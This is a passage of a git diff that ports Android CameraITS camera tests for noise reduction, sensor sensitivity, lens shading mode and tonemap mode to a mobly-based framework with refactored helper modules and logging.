+          rgb_image, '%s_low_gain.jpg' % os.path.join(log_path, NAME))
+      rgb_patch = image_processing_utils.get_image_patch(
+          rgb_image, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+      ref_snr = image_processing_utils.compute_image_snrs(rgb_patch)
+      logging.debug('Ref SNRs: %s', str(ref_snr))
 
-        for mode in NR_MODES:
-            # Skip unavailable modes
-            if not its.caps.noise_reduction_mode(props, mode):
-                nr_modes_reported.append(mode)
-                for channel in range(3):
-                    snrs[channel].append(0)
-                continue
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['maxSensitivity']
+      for mode in NR_MODES_LIST:
+        # Skip unavailable modes
+        if not camera_properties_utils.noise_reduction_mode(props, mode):
+          nr_modes_reported.append(mode)
+          for channel in range(NUM_COLORS):
+            snrs[channel].append(0)
+          continue
 
-            rgb_snr_list = []
-            # Capture several images to account for per frame noise variations
-            for n in range(NUM_SAMPLES_PER_MODE):
-                req = its.objects.manual_capture_request(s, e)
-                req["android.noiseReduction.mode"] = mode
-                cap = cam.do_capture(req)
-                rgb_image = its.image.convert_capture_to_rgb_image(cap)
-                if n == 0:
-                    nr_modes_reported.append(
-                            cap["metadata"]["android.noiseReduction.mode"])
-                    its.image.write_image(
-                            rgb_image,
-                            "%s_high_gain_nr=%d.jpg" % (NAME, mode))
-                rgb_tile = its.image.get_image_patch(
-                        rgb_image, 0.45, 0.45, 0.1, 0.1)
-                rgb_snrs = its.image.compute_image_snrs(rgb_tile)
-                rgb_snr_list.append(rgb_snrs)
+        rgb_snr_list = []
+        # Capture several images to account for per frame noise variations
+        for n in range(NUM_FRAMES_PER_MODE):
+          req = capture_request_utils.manual_capture_request(s, e)
+          req['android.noiseReduction.mode'] = mode
+          cap = cam.do_capture(req)
+          rgb_image = image_processing_utils.convert_capture_to_rgb_image(cap)
+          if n == 0:
+            nr_modes_reported.append(
+                cap['metadata']['android.noiseReduction.mode'])
+            image_processing_utils.write_image(
+                rgb_image, '%s_high_gain_nr=%d.jpg' % (
+                    os.path.join(log_path, NAME), mode))
+          rgb_patch = image_processing_utils.get_image_patch(
+              rgb_image, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+          rgb_snrs = image_processing_utils.compute_image_snrs(rgb_patch)
+          rgb_snr_list.append(rgb_snrs)
 
-            r_snrs = [rgb[0] for rgb in rgb_snr_list]
-            g_snrs = [rgb[1] for rgb in rgb_snr_list]
-            b_snrs = [rgb[2] for rgb in rgb_snr_list]
-            rgb_snrs = [numpy.mean(r_snrs), numpy.mean(g_snrs), numpy.mean(b_snrs)]
-            print "NR mode", mode, "SNRs:"
-            print "    R SNR:", rgb_snrs[0],\
-                    "Min:", min(r_snrs), "Max:", max(r_snrs)
-            print "    G SNR:", rgb_snrs[1],\
-                    "Min:", min(g_snrs), "Max:", max(g_snrs)
-            print "    B SNR:", rgb_snrs[2],\
-                    "Min:", min(b_snrs), "Max:", max(b_snrs)
+        r_snrs = [rgb[0] for rgb in rgb_snr_list]
+        g_snrs = [rgb[1] for rgb in rgb_snr_list]
+        b_snrs = [rgb[2] for rgb in rgb_snr_list]
+        rgb_snrs = [np.mean(r_snrs), np.mean(g_snrs), np.mean(b_snrs)]
+        logging.debug('NR mode %s SNRs', mode)
+        logging.debug('R SNR: %.2f, Min: %.2f, Max: %.2f',
+                      rgb_snrs[0], min(r_snrs), max(r_snrs))
+        logging.debug('G SNR: %.2f, Min: %.2f, Max: %.2f',
+                      rgb_snrs[1], min(g_snrs), max(g_snrs))
+        logging.debug('B SNR: %.2f, Min: %.2f, Max: %.2f',
+                      rgb_snrs[2], min(b_snrs), max(b_snrs))
 
-            for chan in range(3):
-                snrs[chan].append(rgb_snrs[chan])
+        for chan in range(NUM_COLORS):
+          snrs[chan].append(rgb_snrs[chan])
 
-    # Draw a plot.
-    for j in range(3):
-        pylab.plot(NR_MODES, snrs[j], "-"+"rgb"[j]+"o")
-    pylab.xlabel("Noise Reduction Mode")
-    pylab.ylabel("SNR (dB)")
-    pylab.xticks(NR_MODES)
-    matplotlib.pyplot.savefig("%s_plot_SNRs.png" % (NAME))
+    # Draw plot
+    pylab.figure(NAME)
+    for j in range(NUM_COLORS):
+      pylab.plot(NR_MODES_LIST, snrs[j], '-'+'rgb'[j]+'o')
+    pylab.xlabel('Noise Reduction Mode')
+    pylab.ylabel('SNR (dB)')
+    pylab.xticks(NR_MODES_LIST)
+    matplotlib.pyplot.savefig('%s_plot_SNRs.png' % os.path.join(log_path, NAME))
 
-    assert nr_modes_reported == NR_MODES
+    assert nr_modes_reported == NR_MODES_LIST
 
-    for j in range(3):
-        # Larger SNR is better
-        # Verify OFF(0) is not better than FAST(1)
-        assert(snrs[j][0] <
-               snrs[j][1] + SNR_TOLERANCE)
-        # Verify FAST(1) is not better than HQ(2)
-        assert(snrs[j][1] <
-               snrs[j][2] + SNR_TOLERANCE)
-        # Verify HQ(2) is better than OFF(0)
-        assert(snrs[j][0] < snrs[j][2])
-        if its.caps.noise_reduction_mode(props, 3):
-            # Verify OFF(0) is not better than MINIMAL(3)
-            assert(snrs[j][0] <
-                   snrs[j][3] + SNR_TOLERANCE)
-            # Verify MINIMAL(3) is not better than HQ(2)
-            assert(snrs[j][3] <
-                   snrs[j][2] + SNR_TOLERANCE)
-            if its.caps.noise_reduction_mode(props, 4):
-                # Verify ZSL(4) is close to MINIMAL(3)
-                assert(numpy.isclose(snrs[j][4], snrs[j][3],
-                                     atol=SNR_TOLERANCE))
-        elif its.caps.noise_reduction_mode(props, 4):
-            # Verify ZSL(4) is close to OFF(0)
-            assert(numpy.isclose(snrs[j][4], snrs[j][0],
-                                 atol=SNR_TOLERANCE))
+    for j in range(NUM_COLORS):
+      # Higher SNR is better
+      # Verify OFF is not better than FAST
+      e_msg = '%s OFF: %.3f, FAST: %.3f, TOL: %.3f' % (
+          COLORS[j], snrs[j][NR_MODES['OFF']], snrs[j][NR_MODES['FAST']],
+          SNR_TOLERANCE)
+      assert (snrs[j][NR_MODES['OFF']] < snrs[j][NR_MODES['FAST']] +
+              SNR_TOLERANCE), e_msg
+
+      # Verify FAST is not better than HQ
+      e_msg = '%s FAST: %.3f, HQ: %.3f, TOL: %.3f' % (
+          COLORS[j], snrs[j][NR_MODES['FAST']], snrs[j][NR_MODES['HQ']],
+          SNR_TOLERANCE)
+      assert (snrs[j][NR_MODES['FAST']] < snrs[j][NR_MODES['HQ']] +
+              SNR_TOLERANCE), e_msg
+
+      # Verify HQ is better than OFF
+      e_msg = '%s OFF: %.3f, HQ: %.3f' % (
+          COLORS[j], snrs[j][NR_MODES['OFF']], snrs[j][NR_MODES['HQ']])
+      assert snrs[j][NR_MODES['HQ']] > snrs[j][NR_MODES['OFF']], e_msg
+
+      if camera_properties_utils.noise_reduction_mode(props, NR_MODES['MIN']):
+        # Verify OFF is not better than MINIMAL
+        e_msg = '%s OFF: %.3f, MIN: %.3f, TOL: %.3f' % (
+            COLORS[j], snrs[j][NR_MODES['OFF']], snrs[j][NR_MODES['MIN']],
+            SNR_TOLERANCE)
+        assert (snrs[j][NR_MODES['OFF']] < snrs[j][NR_MODES['MIN']] +
+                SNR_TOLERANCE), e_msg
+
+        # Verify MINIMAL is not better than HQ
+        e_msg = '%s MIN: %.3f, HQ: %.3f, TOL: %.3f' % (
+            COLORS[j], snrs[j][NR_MODES['MIN']], snrs[j][NR_MODES['HQ']],
+            SNR_TOLERANCE)
+        assert (snrs[j][NR_MODES['MIN']] < snrs[j][NR_MODES['HQ']] +
+                SNR_TOLERANCE), e_msg
+
+        if camera_properties_utils.noise_reduction_mode(props, NR_MODES['ZSL']):
+          # Verify ZSL is close to MINIMAL
+          e_msg = '%s ZSL: %.3f, MIN: %.3f, TOL: %.3f' % (
+              COLORS[j], snrs[j][NR_MODES['ZSL']], snrs[j][NR_MODES['MIN']],
+              SNR_TOLERANCE)
+          assert np.isclose(snrs[j][NR_MODES['ZSL']], snrs[j][NR_MODES['MIN']],
+                            atol=SNR_TOLERANCE), e_msg
+      elif camera_properties_utils.noise_reduction_mode(props, NR_MODES['ZSL']):
+        # Verify ZSL is close to OFF
+        e_msg = '%s OFF: %.3f, ZSL: %.3f, TOL: %.3f' % (
+            COLORS[j], snrs[j][NR_MODES['OFF']], snrs[j][NR_MODES['ZSL']],
+            SNR_TOLERANCE)
+        assert np.isclose(snrs[j][NR_MODES['ZSL']], snrs[j][NR_MODES['OFF']],
+                          atol=SNR_TOLERANCE), e_msg
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene1_2/scene1_2_0.5x_scaled.pdf b/apps/CameraITS/tests/scene1_2/scene1_2_0.5x_scaled.pdf
index 92753c4..4bf85ee 100644
--- a/apps/CameraITS/tests/scene1_2/scene1_2_0.5x_scaled.pdf
+++ b/apps/CameraITS/tests/scene1_2/scene1_2_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene1_2/scene1_2_0.67x_scaled.pdf b/apps/CameraITS/tests/scene1_2/scene1_2_0.67x_scaled.pdf
index 3103cd8..a9a2fbc 100644
--- a/apps/CameraITS/tests/scene1_2/scene1_2_0.67x_scaled.pdf
+++ b/apps/CameraITS/tests/scene1_2/scene1_2_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene1_2/test_param_sensitivity.py b/apps/CameraITS/tests/scene1_2/test_param_sensitivity.py
index ea4b3ec..2c0446b 100644
--- a/apps/CameraITS/tests/scene1_2/test_param_sensitivity.py
+++ b/apps/CameraITS/tests/scene1_2/test_param_sensitivity.py
@@ -11,62 +11,92 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies android.sensor.sensitivity parameter is applied."""
 
+
+import logging
 import os.path
-
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
-
 import matplotlib
 from matplotlib import pylab
+from mobly import test_runner
 
-NAME = os.path.basename(__file__).split('.')[0]
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+COLORS = ['R', 'G', 'B']
+NAME = os.path.splitext(os.path.basename(__file__))[0]
 NUM_STEPS = 5
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
 
 
-def main():
-    """Test that the android.sensor.sensitivity parameter is applied."""
+class ParamSensitivityTest(its_base_test.ItsBaseTest):
+  """Test that the android.sensor.sensitivity parameter is applied."""
 
+  def test_param_sensitivity(self):
+    logging.debug('Starting %s', NAME)
     sensitivities = None
     r_means = []
     g_means = []
     b_means = []
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.compute_target_exposure(props))
-        sync_latency = its.caps.sync_latency(props)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-        debug = its.caps.debug_mode()
-        largest_yuv = its.objects.get_largest_yuv_format(props)
-        if debug:
-            fmt = largest_yuv
-        else:
-            match_ar = (largest_yuv['width'], largest_yuv['height'])
-            fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props))
 
-        expt, _ = its.target.get_target_exposure_combos(cam)['midSensitivity']
-        sens_range = props['android.sensor.info.sensitivityRange']
-        sens_step = (sens_range[1] - sens_range[0]) / float(NUM_STEPS-1)
-        sensitivities = [
-                sens_range[0] + i * sens_step for i in range(NUM_STEPS)]
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        for s in sensitivities:
-            req = its.objects.manual_capture_request(s, expt)
-            cap = its.device.do_capture_with_latency(
-                    cam, req, sync_latency, fmt)
-            img = its.image.convert_capture_to_rgb_image(cap)
-            its.image.write_image(img, '%s_iso=%04d.jpg' % (NAME, s))
-            tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-            rgb_means = its.image.compute_image_means(tile)
-            r_means.append(rgb_means[0])
-            g_means.append(rgb_means[1])
-            b_means.append(rgb_means[2])
+      # Initialize requests
+      sync_latency = camera_properties_utils.sync_latency(props)
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
 
-    # Draw a plot.
+      expt, _ = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midSensitivity']
+      sens_range = props['android.sensor.info.sensitivityRange']
+      sens_step = (sens_range[1] - sens_range[0]) / float(NUM_STEPS-1)
+      sensitivities = [
+          sens_range[0] + i * sens_step for i in range(NUM_STEPS)]
+
+      for s in sensitivities:
+        logging.debug('Capturing with sensitivity: %d', s)
+        req = capture_request_utils.manual_capture_request(s, expt)
+        cap = its_session_utils.do_capture_with_latency(
+            cam, req, sync_latency, fmt)
+        img = image_processing_utils.convert_capture_to_rgb_image(cap)
+        image_processing_utils.write_image(img, '%s_iso=%04d.jpg' % (
+            os.path.join(log_path, NAME), s))
+        patch = image_processing_utils.get_image_patch(
+            img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+        rgb_means = image_processing_utils.compute_image_means(patch)
+        r_means.append(rgb_means[0])
+        g_means.append(rgb_means[1])
+        b_means.append(rgb_means[2])
+
+    logging.debug('R means: %s', str(r_means))
+    logging.debug('G means: %s', str(g_means))
+    logging.debug('B means: %s', str(b_means))
+
+    # Draw plot
+    pylab.figure(NAME)
     pylab.plot(sensitivities, r_means, '-ro')
     pylab.plot(sensitivities, g_means, '-go')
     pylab.plot(sensitivities, b_means, '-bo')
@@ -74,13 +104,16 @@
     pylab.title(NAME)
     pylab.xlabel('Gain (ISO)')
     pylab.ylabel('RGB means')
-    matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
+    matplotlib.pyplot.savefig(
+        '%s_plot_means.png' % os.path.join(log_path, NAME))
 
-    # Test for pass/fail: check that each shot is brighter than the previous.
-    for means in [r_means, g_means, b_means]:
-        for i in range(len(means)-1):
-            assert means[i+1] > means[i]
+    # Test for pass/fail: check that each shot is brighter than previous
+    for i, means in enumerate([r_means, g_means, b_means]):
+      for j in range(len(means)-1):
+        e_msg = '%s cap %d mean[j+1]: %.3f, means[j]: %3.f' % (
+            COLORS[i], j, means[j+1], means[j])
+        assert means[j+1] > means[j], e_msg
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py b/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py
index a5f85ca..e3143f4 100644
--- a/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py
+++ b/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py
@@ -11,147 +11,173 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies android.shading.mode parameter is applied."""
 
-import os
 
-import its.caps
-import its.device
-import its.image
-import its.objects
-
+import logging
+import os.path
 import matplotlib
 from matplotlib import pylab
-import numpy
+from mobly import test_runner
+import numpy as np
 
-NAME = os.path.basename(__file__).split('.')[0]
-NUM_FRAMES = 4  # number of frames for temporal info to settle
-NUM_SHADING_MODE_SWITCH_LOOPS = 3
-SHADING_MODES = ['OFF', 'FAST', 'HQ']
-THRESHOLD_DIFF_RATIO = 0.15
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import its_session_utils
+
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_NUM_FRAMES = 4  # number of frames for temporal info to settle
+_NUM_SWITCH_LOOPS = 3
+_SHADING_MODES = {0: 'LSC_OFF', 1: 'LSC_FAST', 2: 'LSC_HQ'}
+_NUM_SHADING_MODES = len(_SHADING_MODES)
+_THRESHOLD_DIFF_RATIO = 0.15
 
 
-def main():
-    """Test that the android.shading.mode param is applied.
+def create_plots(shading_maps, reference_maps, num_map_gains, log_path):
+  """Create 2 panel plot from data."""
+  for mode in range(_NUM_SHADING_MODES):
+    for i in range(_NUM_SWITCH_LOOPS):
+      pylab.clf()
+      pylab.figure(figsize=(5, 5))
+      pylab.subplot(2, 1, 1)
+      pylab.plot(range(num_map_gains), shading_maps[mode][i], '-r.',
+                 label='shading', alpha=0.7)
+      pylab.plot(range(num_map_gains), reference_maps[mode], '-g.',
+                 label='ref', alpha=0.7)
+      pylab.xlim([0, num_map_gains])
+      pylab.ylim([0.9, 4.0])
+      name_suffix = 'ls_maps_mode_%d_loop_%d' % (mode, i)
+      pylab.title('%s_%s' % (_NAME, name_suffix))
+      pylab.xlabel('Map gains')
+      pylab.ylabel('Lens shading maps')
+      pylab.legend(loc='upper center', numpoints=1, fancybox=True)
 
-    Switching shading modes and checks that the lens shading maps are
-    modified as expected.
-    """
+      pylab.subplot(2, 1, 2)
+      shading_ref_ratio = np.divide(
+          shading_maps[mode][i], reference_maps[mode])
+      pylab.plot(range(num_map_gains), shading_ref_ratio, '-b.', clip_on=False)
+      pylab.xlim([0, num_map_gains])
+      pylab.ylim([1.0-_THRESHOLD_DIFF_RATIO, 1.0+_THRESHOLD_DIFF_RATIO])
+      pylab.title('Shading/reference Maps Ratio vs Gain')
+      pylab.xlabel('Map gains')
+      pylab.ylabel('Shading/reference maps ratio')
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
+      pylab.tight_layout()
+      matplotlib.pyplot.savefig(
+          f'{os.path.join(log_path, _NAME)}_{name_suffix}.png')
 
-        its.caps.skip_unless(its.caps.per_frame_control(props) and
-                             its.caps.lsc_map(props) and
-                             its.caps.lsc_off(props))
 
-        mono_camera = its.caps.mono_camera(props)
+class ParamShadingModeTest(its_base_test.ItsBaseTest):
+  """Test that the android.shading.mode param is applied.
 
-        # lsc_off devices should always support OFF(0), FAST(1), and HQ(2)
-        assert(props.has_key('android.shading.availableModes') and
-               set(props['android.shading.availableModes']) == set([0, 1, 2]))
+  Switches shading modes and checks that the lens shading maps are
+  modified as expected.
 
-        # Test 1: Switching shading modes several times and verify:
-        #   1. Lens shading maps with mode OFF are all 1.0
-        #   2. Lens shading maps with mode FAST are similar after switching
-        #      shading modes.
-        #   3. Lens shading maps with mode HIGH_QUALITY are similar after
-        #      switching shading modes.
-        cam.do_3a(mono_camera=mono_camera)
+  Lens shading correction modes are OFF=0, FAST=1, and HQ=2.
 
-        # Use smallest yuv size matching the aspect ratio of largest yuv size to
-        # reduce some USB bandwidth overhead since we are only looking at output
-        # metadata in this test.
-        largest_yuv_fmt = its.objects.get_largest_yuv_format(props)
-        largest_yuv_size = (largest_yuv_fmt['width'], largest_yuv_fmt['height'])
-        cap_fmt = its.objects.get_smallest_yuv_format(props, largest_yuv_size)
+  Uses smallest yuv size matching the aspect ratio of largest yuv size to
+  reduce some USB bandwidth overhead since we are only looking at output
+  metadata in this test.
 
-        # Get the reference lens shading maps for OFF, FAST, and HIGH_QUALITY
-        # in different sessions.
-        # reference_maps[mode]
-        num_shading_modes = len(SHADING_MODES)
-        reference_maps = [[] for mode in range(num_shading_modes)]
-        num_map_gains = 0
-        for mode in range(1, num_shading_modes):
-            req = its.objects.auto_capture_request()
+  First asserts all modes are supported. Then runs 2 captures.
+
+  cap1: switches shading modes several times and gets reference maps
+  cap2: gets the lens shading maps while switching modes in 1 session
+
+  Creates plots of reference maps and shading maps.
+
+  Asserts proper behavior:
+    1. Lens shading maps with OFF are all 1.0
+    2. Lens shading maps with FAST are similar after switching shading modes
+    3. Lens shading maps with HQ are similar after switching shading modes.
+  """
+
+  def test_param_shading_mode(self):
+    logging.debug('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.per_frame_control(props) and
+          camera_properties_utils.lsc_map(props) and
+          camera_properties_utils.lsc_off(props))
+      log_path = self.log_path
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # lsc devices support all modes
+      if set(props.get('android.shading.availableModes')) != set(
+          _SHADING_MODES.keys()):
+        raise KeyError('Available modes: %s, SHADING_MODEs: %s.'
+                       % str(props.get('android.shading.availableModes')),
+                       [*_SHADING_MODES])
+
+      # get smallest matching fmt
+      mono_camera = camera_properties_utils.mono_camera(props)
+      cam.do_3a(mono_camera=mono_camera)
+      largest_yuv_fmt = capture_request_utils.get_largest_yuv_format(props)
+      largest_yuv_size = (largest_yuv_fmt['width'], largest_yuv_fmt['height'])
+      cap_fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=largest_yuv_size)
+
+      # cap1
+      reference_maps = [[] for mode in range(_NUM_SHADING_MODES)]
+      num_map_gains = 0
+      for mode in range(1, _NUM_SHADING_MODES):
+        req = capture_request_utils.auto_capture_request()
+        req['android.statistics.lensShadingMapMode'] = 1
+        req['android.shading.mode'] = mode
+        cap_res = cam.do_capture(
+            [req]*_NUM_FRAMES, cap_fmt)[_NUM_FRAMES-1]['metadata']
+        lsc_map = cap_res['android.statistics.lensShadingCorrectionMap']
+        if not lsc_map.get('width') or not lsc_map.get('height'):
+          raise KeyError('width or height not in LSC map.')
+        if mode == 1:
+          num_map_gains = lsc_map['width'] * lsc_map['height'] * 4
+          reference_maps[0] = [1.0] * num_map_gains
+        reference_maps[mode] = lsc_map['map']
+
+      # cap2
+      reqs = []
+      for i in range(_NUM_SWITCH_LOOPS):
+        for mode in range(_NUM_SHADING_MODES):
+          for _ in range(_NUM_FRAMES):
+            req = capture_request_utils.auto_capture_request()
             req['android.statistics.lensShadingMapMode'] = 1
             req['android.shading.mode'] = mode
-            cap_res = cam.do_capture([req]*NUM_FRAMES, cap_fmt)[NUM_FRAMES-1]['metadata']
-            lsc_map = cap_res['android.statistics.lensShadingCorrectionMap']
-            assert(lsc_map.has_key('width') and
-                   lsc_map.has_key('height') and
-                   lsc_map['width'] is not None and
-                   lsc_map['height'] is not None)
-            if mode == 1:
-                num_map_gains = lsc_map['width'] * lsc_map['height'] * 4
-                reference_maps[0] = [1.0] * num_map_gains
-            reference_maps[mode] = lsc_map['map']
+            reqs.append(req)
+      caps = cam.do_capture(reqs, cap_fmt)
 
-        # Get the lens shading maps while switching modes in one session.
-        reqs = []
-        for i in range(NUM_SHADING_MODE_SWITCH_LOOPS):
-            for mode in range(num_shading_modes):
-                for _ in range(NUM_FRAMES):
-                    req = its.objects.auto_capture_request()
-                    req['android.statistics.lensShadingMapMode'] = 1
-                    req['android.shading.mode'] = mode
-                    reqs.append(req)
+      # Populate shading maps from cap2 results
+      shading_maps = [[[] for loop in range(_NUM_SWITCH_LOOPS)]
+                      for mode in range(_NUM_SHADING_MODES)]
+      for i in range(len(caps)//_NUM_FRAMES):
+        shading_maps[i%_NUM_SHADING_MODES][i//_NUM_SWITCH_LOOPS] = caps[
+            (i+1)*_NUM_FRAMES-1]['metadata'][
+                'android.statistics.lensShadingCorrectionMap']['map']
 
-        caps = cam.do_capture(reqs, cap_fmt)
+      # Plot the shading and reference maps
+      create_plots(shading_maps, reference_maps, num_map_gains, log_path)
 
-        # shading_maps[mode][loop]
-        shading_maps = [[[] for loop in range(NUM_SHADING_MODE_SWITCH_LOOPS)]
-                        for mode in range(num_shading_modes)]
-
-        # Get the shading maps out of capture results
-        for i in range(len(caps)/NUM_FRAMES):
-            shading_maps[i%num_shading_modes][i/NUM_SHADING_MODE_SWITCH_LOOPS] = \
-                    caps[(i+1)*NUM_FRAMES-1]['metadata']['android.statistics.lensShadingCorrectionMap']['map']
-
-        # Draw the maps
-        for mode in range(num_shading_modes):
-            for i in range(NUM_SHADING_MODE_SWITCH_LOOPS):
-                pylab.clf()
-                pylab.figure(figsize=(5, 5))
-                pylab.subplot(2, 1, 1)
-                pylab.plot(range(num_map_gains), shading_maps[mode][i], '-r.',
-                           label='shading', alpha=0.7)
-                pylab.plot(range(num_map_gains), reference_maps[mode], '-g.',
-                           label='ref', alpha=0.7)
-                pylab.xlim([0, num_map_gains])
-                pylab.ylim([0.9, 4.0])
-                name = '%s_ls_maps_mode_%d_loop_%d' % (NAME, mode, i)
-                pylab.title(name)
-                pylab.xlabel('Map gains')
-                pylab.ylabel('Lens shading maps')
-                pylab.legend(loc='upper center', numpoints=1, fancybox=True)
-
-                pylab.subplot(2, 1, 2)
-                shading_ref_ratio = numpy.divide(
-                        shading_maps[mode][i], reference_maps[mode])
-                pylab.plot(range(num_map_gains), shading_ref_ratio, '-b.',
-                           clip_on=False)
-                pylab.xlim([0, num_map_gains])
-                pylab.ylim([1.0-THRESHOLD_DIFF_RATIO, 1.0+THRESHOLD_DIFF_RATIO])
-                pylab.title('Shading/reference Maps Ratio vs Gain')
-                pylab.xlabel('Map gains')
-                pylab.ylabel('Shading/ref maps ratio')
-
-                pylab.tight_layout()
-                matplotlib.pyplot.savefig('%s.png' % name)
-
-        for mode in range(num_shading_modes):
-            if mode == 0:
-                print 'Verifying lens shading maps with mode %s are all 1.0' % (
-                        SHADING_MODES[mode])
-            else:
-                print 'Verifying lens shading maps with mode %s are similar' % (
-                        SHADING_MODES[mode])
-            for i in range(NUM_SHADING_MODE_SWITCH_LOOPS):
-                e_msg = 'FAIL mode: %s, loop: %d, THRESH: %.2f' % (
-                        SHADING_MODES[mode], i, THRESHOLD_DIFF_RATIO)
-                assert (numpy.allclose(shading_maps[mode][i],
-                                       reference_maps[mode],
-                                       rtol=THRESHOLD_DIFF_RATIO)), e_msg
+      # Assert proper behavior
+      for mode in range(_NUM_SHADING_MODES):
+        if mode == 0:
+          logging.debug('Verifying lens shading maps with mode %s are all 1.0',
+                        _SHADING_MODES[mode])
+        else:
+          logging.debug('Verifying lens shading maps with mode %s are similar',
+                        _SHADING_MODES[mode])
+        for i in range(_NUM_SWITCH_LOOPS):
+          if not (np.allclose(shading_maps[mode][i], reference_maps[mode],
+                              rtol=_THRESHOLD_DIFF_RATIO)):
+            raise AssertionError(f'FAIL mode: {_SHADING_MODES[mode]}, '
+                                 f'loop: {i}, THRESH: {_THRESHOLD_DIFF_RATIO}')
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py b/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py
index 261eed1..93147f1 100644
--- a/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py
+++ b/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py
@@ -11,102 +11,142 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies android.tonemap.mode parameter applies."""
 
-import its.image
-import its.caps
-import its.device
-import its.objects
-import its.target
-import os
+
+import logging
 import os.path
+from mobly import test_runner
 
-def main():
-    """Test that the android.tonemap.mode param is applied.
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
 
-    Applies different tonemap curves to each R,G,B channel, and checks
-    that the output images are modified as expected.
-    """
-    NAME = os.path.basename(__file__).split(".")[0]
-
-    THRESHOLD_RATIO_MIN_DIFF = 0.1
-    THRESHOLD_DIFF_MAX_DIFF = 0.05
-
-    # The HAL3.2 spec requires that curves up to 64 control points in length
-    # must be supported.
-    L = 32
-    LM1 = float(L-1)
-
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.compute_target_exposure(props) and
-                             its.caps.per_frame_control(props) and
-                             its.caps.tonemap_mode(props, 0))
-
-        debug = its.caps.debug_mode()
-        largest_yuv = its.objects.get_largest_yuv_format(props)
-        if debug:
-            fmt = largest_yuv
-        else:
-            match_ar = (largest_yuv['width'], largest_yuv['height'])
-            fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
-
-        e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
-        e /= 2
-
-        # Test 1: that the tonemap curves have the expected effect. Take two
-        # shots, with n in [0,1], where each has a linear tonemap, with the
-        # n=1 shot having a steeper gradient. The gradient for each R,G,B
-        # channel increases (i.e.) R[n=1] should be brighter than R[n=0],
-        # and G[n=1] should be brighter than G[n=0] by a larger margin, etc.
-        rgb_means = []
-
-        for n in [0,1]:
-            req = its.objects.manual_capture_request(s,e)
-            req["android.tonemap.mode"] = 0
-            req["android.tonemap.curve"] = {
-                "red": (sum([[i/LM1, min(1.0,(1+0.5*n)*i/LM1)]
-                    for i in range(L)], [])),
-                "green": (sum([[i/LM1, min(1.0,(1+1.0*n)*i/LM1)]
-                    for i in range(L)], [])),
-                "blue": (sum([[i/LM1, min(1.0,(1+1.5*n)*i/LM1)]
-                    for i in range(L)], []))}
-            cap = cam.do_capture(req, fmt)
-            img = its.image.convert_capture_to_rgb_image(cap)
-            its.image.write_image(
-                    img, "%s_n=%d.jpg" %(NAME, n))
-            tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-            rgb_means.append(its.image.compute_image_means(tile))
-
-        rgb_ratios = [rgb_means[1][i] / rgb_means[0][i] for i in xrange(3)]
-        print "Test 1: RGB ratios:", rgb_ratios
-        assert(rgb_ratios[0] + THRESHOLD_RATIO_MIN_DIFF < rgb_ratios[1])
